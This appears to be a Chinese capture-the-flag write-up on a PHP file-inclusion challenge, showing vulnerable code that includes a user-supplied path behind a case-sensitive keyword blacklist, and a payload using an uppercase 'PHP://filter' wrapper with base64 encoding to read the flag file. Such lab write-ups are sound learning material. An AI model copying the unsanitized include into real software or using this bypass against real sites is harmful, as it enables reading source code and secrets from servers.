伪协议1

1.题目
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
error_reporting(0);
echo '<center><strong>针不戳,吃柠檬的感觉针不戳</strong></center>';
highlight_file(__FILE__);
$file=$_GET['file'];
if (isset($file)){
if(preg_match('/php|file|zip|bzip|zlib|base|data/',$file)){
echo ('hacker!!!');
}else {
include $file;
}
}
#不对劲,总感觉写错了啥,算了,先去吃柠檬~
?>
2.过程

过滤掉了多个伪协议,但是对比伪协议2,没有过滤大写形式,这些协议似乎不区分大小写,那么通过大写绕过。

payload:?file=PHP://filter/read=convert.BASE64-encode/resource=flag

2.知识点:

伪协议似乎不区分大小写(?

  • file:// — 访问本地文件系统
    http:// — 访问 HTTP(s) 网址
    ftp:// — 访问 FTP(s) URLs
    php:// — 访问各个输入/输出流(I/O streams)
    zlib:// — 压缩流
    data:// — 数据(RFC 2397)
    glob:// — 查找匹配的文件路径模式
    phar:// — PHP 归档
    ssh2:// — Secure Shell 2
    rar:// — RAR
    ogg:// — 音频流
    expect:// — 处理交互式的流

(很多还不是很会……)

  • PHP://filter可以对中间流进行过滤,以多种方式编码后读取,使其不以php形式运行,读出数据

详细参考:https://segmentfault.com/a/1190000018991087

作者

inanb

发布于

2020-12-06

更新于

2020-12-06

许可协议


:D 一言句子获取中...